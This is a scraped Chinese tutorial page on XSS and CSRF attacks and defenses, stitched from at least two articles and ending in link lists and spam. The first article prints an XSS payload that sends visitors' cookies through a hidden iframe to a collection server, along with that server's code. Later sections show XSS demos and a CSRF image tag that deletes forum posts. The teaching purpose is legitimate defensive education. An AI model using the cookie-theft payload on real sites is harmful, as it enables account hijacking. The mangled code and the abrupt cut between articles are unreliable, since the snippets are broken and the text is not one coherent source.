詳解XSS 和 CSRF簡述及預防措施_安全相關

來源:腳本之家  責任編輯:小易  

在那個年代,大家一般用拼接字符串的方式來構造動態 SQL 語句創建應用,于是 SQL 注入成了很流行的攻擊方式。在這個年代,參數化查詢 已經成了普遍用法,我們已經離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由于之前已經對 XSS 很熟悉了,所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要“小心”。但最近又聽說了另一種跨站攻擊 CSRF,于是找了些資料了解了一下,并與 XSS 放在一起做個比較。XSS:腳本中的不速之客XSS 全稱“跨站腳本”,是注入攻擊的一種。其特點是不對服務器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。這時服務器端如果沒有過濾或轉義掉這些腳本,作為內容發布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。運行預期之外的腳本帶來的后果有很多中,可能只是簡單的惡作劇—一個關不掉的窗口:123while(true){alert("你關不掉我~");}也可以是盜號或者其他未授權的操作—我們來模擬一下這個過程,先建立一個用來收集信息的服務器:123456789101112131415161718192021222324usr/bin/env pythoncoding:utf-8-*-跨站腳本注入的信息收集服務器import bottleapp=bottle.Bottle()plugin=bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')app.install(plugin)app.route('/myxss/')def show(cookies,db):SQL='INSERT INTO"myxss"("cookies")VALUES?'try:db.execute(SQL,cookies)except:passreturn"if_name_="_main_":app.run()然后在某一個頁面的評論中注入這段代碼:12345678910111213141516用<script type="text/javascript"></script>包起來放在評論中(function(window,document){構造泄露信息用的 URLvar cookies=document.cookie;var xssURIBase="http://192.168.123.123/myxss/";var xssURI=xssURIBase+window.encodeURI(cookies);建立隱藏 iframe 用于通訊var hideFrame=document.createElement("iframe");hideFrame.height=0;hideFrame.width=0;hideFrame.style.display="none;hideFrame.src=xssURI;開工document.body.appendChild(hideFrame);})(window,document);于是每個訪問到含有該評論的頁面的用戶都會遇到麻煩—他們不知道背后正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發送到收集服務器上。我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能“跨域”問題。這種做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在愿意的情況下,我還能用 iframe 發起 POST 請求。當然,現在一些瀏覽器能夠很智能地分析出部分 XSS 并予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什么是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對于 Web 開發者應該是常識。正如上文所說,如果我們不需要用戶輸入HTML 而只想讓他們輸入純文本,那么把所有用戶輸入進行HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版總是默認轉義輸出變量的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數,Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎,那么其必自帶了方便快捷的轉義方式。真正麻煩的是,在一些場合我們要允許用戶輸入HTML,又要過濾其中的腳本。Tidy 等HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對于復雜的情況,我個人更傾向于使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的HTML 可能擁有很復雜的結構,但我們并不將這些數據直接存入數據庫,而是使用HTML 解析庫遍歷節點,獲取其中數據(之所以不使用 XML 解析庫是因為HTML 要求有較強的容錯性)。然后根據用戶原有的標簽屬性,重新構建HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失—如果用戶的某種復雜輸入不能為解析器所識別(前面說了HTML 不同于 XML,要求有很強的容錯性),那么它不會成為漏網之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最后獲得的新HTML 元素樹,我們可以拍胸脯保證—所有的標簽、屬性都來自白名單,一定不會遺漏。現在看來,大多數 Web 開發者都了解 XSS 并知道如何防范,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由于疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中“默認轉義”(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 的方式取消轉義。這種白名單式的做法,有助于降低我們由于疏漏留下 XSS 漏洞的風險。另外一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險并不集中在 HTTP 的靜態響應內容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟件包(似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎么說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。CSRF:冒充用戶之手起初我一直弄不清楚 CSRF 究竟和 XSS 有什么區別,后來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。CSRF 的全稱是“跨站請求偽造”,而 XSS 的全稱是“跨站腳本”。看起來有點相似,它們都是屬于跨站攻擊—不攻擊服務器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內的正常操作。我們知道,絕大多數網站是通過 cookie 等方式辨識用戶身份(包括使用服務器端 Session 的網站,因為 Session ID 也是大多保存在 cookie 里面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌,但對于設計不佳的網站,一條正常的鏈接都能造成 CSRF。例如,一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之后 JS 把發貼內容拼接成目標 URL 并訪問:http://example.com/bbs/create_post.php?title=標題&content=內容那么,我只需要在論壇中發一帖,包含一鏈接:http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈只要有用戶點擊了這個鏈接,那么他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那么刪帖、轉帳、改密碼、發郵件全都可以偽造。如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入,不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去,為了偽裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF,我們的視角需要和對待 XSS 有所區別。CSRF 并不一定要有站內的輸入,因為它并不屬于注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內。所以我們唯有一條路可行,就是過濾請求的 處理者。比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(總是個大隱患)。由于幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。首先可以提高的一個門檻,就是改良站內 API 的設計。對于發布帖子這一類創建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。當然,最理想的做法是使用 REST 風格 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然后用 POST 模擬 PUT 和 DELETE(Ruby on Rails 的做法)。這么一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上—攻擊者已經不可能通過發布鏈接來偽造請求了,但他們仍可以發布表單,或者在其他站點上使用我們肉眼不可見的表單,在后臺用 js 操作,偽造請求。接下來我們就可以用比較簡單也比較有效的方法來防御 CSRF,這個方法就是“請求令牌”。讀過《J2EE 核心模式》的同學應該對“同步令牌”應該不會陌生,“請求令牌”和“同步令牌”原理是一樣的,只不過目的不同,后者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單,首先服務器端要以某種策略生成隨機字符串,作為令牌(token),保存在 Session 里。然后..www.13333515.buzz防采集請勿采集本網。

在 Web 安全領域中,XSS 和 CSRF 是最常見的攻擊方式。本文將會簡單介紹 XSS 和 CSRF 的攻防問題。

django post出現403的解決辦法 據說,從django1.x開始,加入了CSRF保護。CSRF(Cross-site request forgery跨站請求偽造,也被稱成為“one click attack”或者session riding,通常縮寫為CSRF或者XSRF,是

1. xss

與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。示例和特性 ? ? ?? CSRF攻擊通過在授權用戶訪問的頁面中包含鏈接或者腳本的方式

XSS,即 Cross Site Script,中譯是跨站腳本攻擊;其原本縮寫是 CSS,但為了和層疊樣式表(Cascading Style Sheet)有所區分,因而在安全領域叫做 XSS。

下面是CSRF的常見特性: 依靠用戶標識危害網站 利用網站對用戶標識的信任 欺騙用戶的瀏覽器發送HTTP請求給目標站點 另外可以通過IMG標簽會觸發一個GET請求,可以利用它來實現CSRF攻擊。CSRF攻擊

XSS 攻擊是指攻擊者在網站上注入惡意的客戶端代碼,通過惡意腳本對客戶端網頁進行篡改,從而在用戶瀏覽網頁時,對用戶瀏覽器進行控制或者獲取用戶隱私數據的一種攻擊方式。

(5)WAF(Web Application Firewall),Web應用防火墻,主要的功能是防范諸如網頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發,在企業環境中深受歡迎。4、SQL注入(SQL Injection),應用程序在向

攻擊者對客戶端網頁注入的惡意腳本一般包括 JavaScript,有時也會包含 HTML 和 Flash。有很多種方式進行 XSS 攻擊,但它們的共同點為:將一些隱私數據像 cookie、session 發送給攻擊者,將受害者重定向到一個由攻擊者控制的網站,在受害者的機器上進行一些惡意操作。

滲透測試需要的基礎技能必須有網絡基礎、編程基礎、數據庫基礎、操作系統等基本技能。學習的話可以從html、css、js、編程語言、協議包分析、網絡互聯原理、數據庫語法等進入,學習了這些基礎技能

XSS攻擊可以分為3類:反射型(非持久型)、存儲型(持久型)、基于DOM。

1.1反射性

反射型 XSS 只是簡單地把用戶輸入的數據 “反射” 給瀏覽器,這種攻擊方式往往需要攻擊者誘使用戶點擊一個惡意鏈接,或者提交一個表單,或者進入一個惡意網站時,注入腳本進入被攻擊者的網站。

看一個示例。我先準備一個如下的靜態頁:

惡意鏈接的地址指向了 localhost:8001/?q=111&p=222。然后,我再啟一個簡單的 Node 服務處理惡意鏈接的請求:

const http = require('http');function handleReequest(req, res) { res.setHeader('Access-Control-Allow-Origin', '*'); res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write('<script>alert("反射型 XSS 攻擊")</script>'); res.end();} const server = new http.Server();server.listen(8001, '127.0.0.1');server.on('request', handleReequest);

當用戶點擊惡意鏈接時,頁面跳轉到攻擊者預先準備的頁面,會發現在攻擊者的頁面執行了 js 腳本:

這樣就產生了反射型 XSS 攻擊。攻擊者可以注入任意的惡意腳本進行攻擊,可能注入惡作劇腳本,或者注入能獲取用戶隱私數據(如cookie)的腳本,這取決于攻擊者的目的。

1.2存儲型

存儲型 XSS 會把用戶輸入的數據 “存儲” 在服務器端,當瀏覽器請求數據時,腳本從服務器上傳回并執行。這種 XSS 攻擊具有很強的穩定性。

比較常見的一個場景是攻擊者在社區或論壇上寫下一篇包含惡意 JavaScript 代碼的文章或評論,文章或評論發表后,所有訪問該文章或評論的用戶,都會在他們的瀏覽器中執行這段惡意的 JavaScript 代碼。

舉一個示例。

先準備一個輸入頁面:

<input type="text" id="input"><button id="btn">Submit</button> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); let val; input.addEventListener('change', (e) => { val = e.target.value; },false); btn.addEventListener('click', (e) => { fetch('http://localhost:8001/save', { method: 'POST', body: val }); }, false);</script>

啟動一個 Node 服務監聽 save 請求。為了簡化,用一個變量來保存用戶的輸入:

const http = require('http');let userInput = ''; function handleReequest(req, res) { const method = req.method; res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type') if (method === 'POST' && req.url === '/save'){ let body = ''; req.on('data',chunk => { body += chunk; }); req.on('end', () => { if (body) { userInput = body; } res.end(); }); } else { res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write(userInput); //將輸入的腳本內容返回給前端頁面 res.end(); }} const server = new http.Server();server.listen(8001, '127.0.0.1');server.on('request', handleReequest);

當用戶點擊提交按鈕將輸入信息提交到服務端時,服務端通過 userInput 變量保存了輸入內容。當用戶通過 http://localhost:8001/${id} 訪問時,服務端會返回與 id 對應的內容(本示例簡化了處理)。如果用戶輸入了惡意腳本內容,則其他用戶訪問該內容時,惡意腳本就會在瀏覽器端執行:

1.3 基于DOM

基于 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。

看如下代碼:

<h2>XSS: </h2><input type="text" id="input"><button id="btn">Submit</button><div id="div"></div><script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); const div = document.getElementById('div'); let val; input.addEventListener('change', (e) => { val = e.target.value; }, false); btn.addEventListener('click', () => { div.innerHTML = `<a href=${val}>testLink</a>` }, false);</script>

點擊 Submit 按鈕后,會在當前頁面插入一個鏈接,其地址為用戶的輸入內容。如果用戶在輸入時構造了如下內容:

'' onclick=alert(/xss/)

用戶提交之后,頁面代碼就變成了:

<a href onlick="alert(/xss/)">testLink</a>

此時,用戶點擊生成的鏈接,就會執行對應的腳本:

2.XSS攻擊的防范

現在主流的瀏覽器內置了防范 XSS 的措施,例如 CSP。但對于開發者來說,也應該尋找可靠的解決方案來防止 XSS 攻擊。

2.1 HttpOnly 防止劫取 Cookie

HttpOnly 最早由微軟提出,至今已經成為一個標準。瀏覽器將禁止頁面的Javascript 訪問帶有 HttpOnly 屬性的Cookie。

上文有說到,攻擊者可以通過注入惡意腳本獲取用戶的 Cookie 信息。通常 Cookie 中都包含了用戶的登錄憑證信息,攻擊者在獲取到 Cookie 之后,則可以發起 Cookie 劫持攻擊。所以,嚴格來說,HttpOnly 并非阻止 XSS 攻擊,而是能阻止 XSS 攻擊后的 Cookie 劫持攻擊。

2.2 輸入檢查

不要相信用戶的任何輸入。 對于用戶的任何輸入要進行檢查、過濾和轉義。建立可信任的字符和 HTML 標簽白名單,對于不在白名單之列的字符或者標簽進行過濾或編碼。

在 XSS 防御中,輸入檢查一般是檢查用戶輸入的數據中是否包含 <,> 等特殊字符,如果存在,則對特殊字符進行過濾或編碼,這種方式也稱為 XSS Filter。

而在一些前端框架中,都會有一份 decodingMap, 用于對用戶輸入所包含的特殊字符或標簽進行編碼或過濾,如 <,>,script,防止 XSS 攻擊:

// vuejs 中的 decodingMap// 在 vuejs 中,如果輸入帶 script 標簽的內容,會直接過濾掉const decodingMap = { '<': '<', '>': '>', '"': '"', '&': '&', ' ': '\n'}

2.3輸出檢查

用戶的輸入會存在問題,服務端的輸出也會存在問題。一般來說,除富文本的輸出外,在變量輸出到 HTML 頁面時,可以使用編碼或轉義的方式來防御 XSS 攻擊。例如利用 sanitize-html 對輸出內容進行有規則的過濾之后再輸出到頁面中。

3.CSRF

CSRF,即 Cross Site Request Forgery,中譯是跨站請求偽造,是一種劫持受信任用戶向服務器發送非預期請求的攻擊方式。

通常情況下,CSRF 攻擊是攻擊者借助受害者的 Cookie 騙取服務器的信任,可以在受害者毫不知情的情況下以受害者名義偽造請求發送給受攻擊服務器,從而在并未授權的情況下執行在權限保護之下的操作。

在舉例子之前,先說說瀏覽器的 Cookie 策略

3.1 瀏覽器的 Cookie 策略

Cookie 是服務器發送到用戶瀏覽器并保存在本地的一小塊數據,它會在瀏覽器下次向同一服務器再發起請求時被攜帶并發送到服務器上。Cookie 主要用于以下三個方面: 會話狀態管理(如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息) 個性化設置(如用戶自定義設置、主題等) 個性化設置(如用戶自定義設置、主題等)

而瀏覽器所持有的 Cookie 分為兩種: Session Cookie(會話期 Cookie):會話期 Cookie 是最簡單的Cookie,它不需要指定過期時間(Expires)或者有效期(Max-Age),它僅在會話期內有效,瀏覽器關閉之后它會被自動刪除。 Permanent Cookie(持久性 Cookie):與會話期 Cookie 不同的是,持久性 Cookie 可以指定一個特定的過期時間(Expires)或有效期(Max-Age)。

res.setHeader('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

上述代碼創建了兩個 Cookie:mycookie 和 test,前者屬于會話期 Cookie,后者則屬于持久性 Cookie。當我們去查看 Cookie 相關的屬性時,不同的瀏覽器對會話期 Cookie 的 Expires 屬性值會不一樣:

此外,每個 Cookie 都會有與之關聯的域,這個域的范圍一般通過 donmain 屬性指定。如果 Cookie 的域和頁面的域相同,那么我們稱這個 Cookie 為第一方 Cookie(first-party cookie),如果 Cookie 的域和頁面的域不同,則稱之為第三方 Cookie(third-party cookie)。一個頁面包含圖片或存放在其他域上的資源(如圖片)時,第一方的 Cookie 也只會發送給設置它們的服務器。

3.2 通過 Cookie 進行 CSRF 攻擊

假設有一個 bbs 站點:http://www.c.com,當登錄后的用戶發起如下 GET 請求時,會刪除 ID 指定的帖子:

http://www.c.com:8002/content/delete/:id

如發起 http://www.c.com:8002/content/delete/87343 請求時,會刪除 id 為 87343 的帖子。當用戶登錄之后,會設置如下 cookie:

res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

user 對應的值是用戶 ID。然后構造一個頁面 A:

CSRF 攻擊者準備的網站:

<p>CSRF 攻擊者準備的網站:</p><img src="http://www.c.com:8002/content/delete/87343">

頁面 A 使用了一個 img 標簽,其地址指向了刪除用戶帖子的鏈接:

可以看到,當登錄用戶訪問攻擊者的網站時,會向 www.c.com 發起一個刪除用戶帖子的請求。此時若用戶在切換到 www.c.com 的帖子頁面刷新,會發現ID 為 87343 的帖子已經被刪除。

由于 Cookie 中包含了用戶的認證信息,當用戶訪問攻擊者準備的攻擊環境時,攻擊者就可以對服務器發起 CSRF 攻擊。在這個攻擊過程中,攻擊者借助受害者的 Cookie 騙取服務器的信任,但并不能拿到 Cookie,也看不到 Cookie 的內容。而對于服務器返回的結果,由于瀏覽器同源策略的限制,攻擊者也無法進行解析。因此,攻擊者無法從返回的結果中得到任何東西,他所能做的就是給服務器發送請求,以執行請求中所描述的命令,在服務器端直接改變數據的值,而非竊取服務器中的數據。

但若 CSRF 攻擊的目標并不需要使用 Cookie,則也不必顧慮瀏覽器的 Cookie 策略了。

4.CSRF 攻擊的防范

當前,對 CSRF 攻擊的防范措施主要有如下幾種方式。

4.1 驗證碼

驗證碼被認為是對抗 CSRF 攻擊最簡潔而有效的防御方法。

從上述示例中可以看出,CSRF 攻擊往往是在用戶不知情的情況下構造了網絡請求。而驗證碼會強制用戶必須與應用進行交互,才能完成最終請求。因為通常情況下,驗證碼能夠很好地遏制 CSRF 攻擊。

但驗證碼并不是萬能的,因為出于用戶考慮,不能給網站所有的操作都加上驗證碼。因此,驗證碼只能作為防御 CSRF 的一種輔助手段,而不能作為最主要的解決方案。

4.2 Referer Check

根據 HTTP 協議,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源地址。通過 Referer Check,可以檢查請求是否來自合法的”源”。

比如,如果用戶要刪除自己的帖子,那么先要登錄 www.c.com,然后找到對應的頁面,發起刪除帖子的請求。此時,Referer 的值是 http://www.c.com;當請求是從 www.a.com 發起時,Referer 的值是 http://www.a.com 了。因此,要防御 CSRF 攻擊,只需要對于每一個刪帖請求驗證其 Referer 值,如果是以 www.c.com 開頭的域名,則說明該請求是來自網站自己的請求,是合法的。如果 Referer 是其他網站的話,則有可能是 CSRF 攻擊,可以拒絕該請求。

針對上文的例子,可以在服務端增加如下代碼:

if (req.headers.referer !== 'http://www.c.com:8002/') { res.write('csrf 攻擊'); return;}

Referer Check 不僅能防范 CSRF 攻擊,另一個應用場景是 “防止圖片盜鏈”。

4.3 添加 token 驗證(token==令牌)

CSRF 攻擊之所以能夠成功,是因為攻擊者可以完全偽造用戶的請求,該請求中所有的用戶驗證信息都是存在于 Cookie 中,因此攻擊者可以在不知道這些驗證信息的情況下直接利用用戶自己的 Cookie 來通過安全驗證。要抵御 CSRF,關鍵在于在請求中放入攻擊者所不能偽造的信息,并且該信息不存在于 Cookie 之中。可以在 HTTP 請求中以參數的形式加入一個隨機產生的 token,并在服務器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。

總結

本文主要介紹了 XSS 和 CSRF 的攻擊原理和防御措施。當然,在 Web 安全領域,除了這兩種常見的攻擊方式,也存在這 SQL 注入等其它攻擊方式,這不在本文的討論范圍之內,如果你對其感興趣,可以閱讀SQL注入技術專題的專欄詳細了解相關信息。最后,總結一下 XSS 攻擊和 CSRF 攻擊的常見防御措施:

1.防御XSS攻擊 HttpOnly 防止劫取 Cookie 用戶的輸入檢查 服務端的輸出檢查

2.防御CSRF攻擊 驗證碼 Referer Check Token 驗證

XSS是獲取信息,不需要提前知道其他用戶頁面的代碼和數據包。CSRF是代替用戶完成指定的動作,需要知道其他用戶頁面的代碼和數據包。要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:登錄受信任網站A,并在本地生成Cookie。在不登出A的情況下,訪問危險網站B。CSRF的防御服務端的CSRF方式方法很多樣,但總的思想都是一致的,就是在客戶端頁面增加偽隨機數。通過驗證碼的方法。by三人行慕課內容來自www.13333515.buzz請勿采集。


  • 本文相關:
  • yii框架防止sql注入,xss攻擊與csrf攻擊的方法
  • php開發中常見的安全問題詳解和解決方法(如sql注入、csrf、xss、cc等)
  • asp,php與.net偽造http-referer方法及防止偽造referer的方法
  • 新歡樂時光代碼分析
  • 超初級的linux后門制作方法
  • xss & sql注入
  • 最詳細的sql注入相關的命令整理 (轉)
  • 角逐網絡江湖—黑客兵器譜排名
  • adsl防御黑客攻擊的十大方法
  • 自己動手清除電腦中的木馬程序
  • net iis暴絕對路徑漏洞
  • 攻擊方式學習之sql注入(sql injection)
  • XSS與CSRF有什么區別嗎?
  • 前端安全方面有沒有了解?xss和csrf如何攻防
  • 解釋什么是xss,csrf,sql注入以及如何防范
  • 對于現在存在的SQL注入,XSS的攻擊,CSRF目前有什么好的防御手段
  • 如何杜絕xss,csrf的攻擊
  • csrf的具體含義
  • 什么是CSRF攻擊,如何預防
  • web攻擊有哪些?怎么防護?
  • 學習滲透測試,需要哪些基礎
  • 新浪微博出現了不是自己發的微博
  • 網站首頁網頁制作腳本下載服務器操作系統網站運營平面設計媒體動畫電腦基礎硬件教程網絡安全javascriptasp.netphp編程ajax相關正則表達式asp編程jsp編程編程10000問css/htmlflex腳本加解密web2.0xml/rss網頁編輯器相關技巧安全相關網頁播放器其它綜合dart首頁安全相關yii框架防止sql注入,xss攻擊與csrf攻擊的方法php開發中常見的安全問題詳解和解決方法(如sql注入、csrf、xss、cc等)asp,php與.net偽造http-referer方法及防止偽造referer的方法新歡樂時光代碼分析超初級的linux后門制作方法xss & sql注入最詳細的sql注入相關的命令整理 (轉)角逐網絡江湖—黑客兵器譜排名adsl防御黑客攻擊的十大方法自己動手清除電腦中的木馬程序net iis暴絕對路徑漏洞攻擊方式學習之sql注入(sql injection)看別人怎么查qq聊天記錄 比較詳細怎么查qq聊天記錄 怎樣恢復刪除的qq聊天記錄刪除了怎么恢復簡單方密碼破解全教程跨站式腳本(cross-sitescripting攻擊方式學習之sql注入(sql inje如何成為一名黑客全系列說明js和c#分別防注入代碼防止電腦被他人控制跨站腳本攻擊xss(cross site scphpwind exp 漏洞利用xss & sql注入oblog4.0 oblog4.5漏洞利用分析網頁打開后自動執行木馬黑客如何給你的系統種木馬詳解bmp木馬最詳細的sql注入相關的命令整理 (轉)輕松設置讓系統不受惡意代碼攻擊黑客秘籍:windows下權限設置sql2005注入輔助腳本[修改版]
    免責聲明 - 關于我們 - 聯系我們 - 廣告聯系 - 友情鏈接 - 幫助中心 - 頻道導航
    Copyright © 2017 www.13333515.buzz All Rights Reserved
    3排列五开奖结果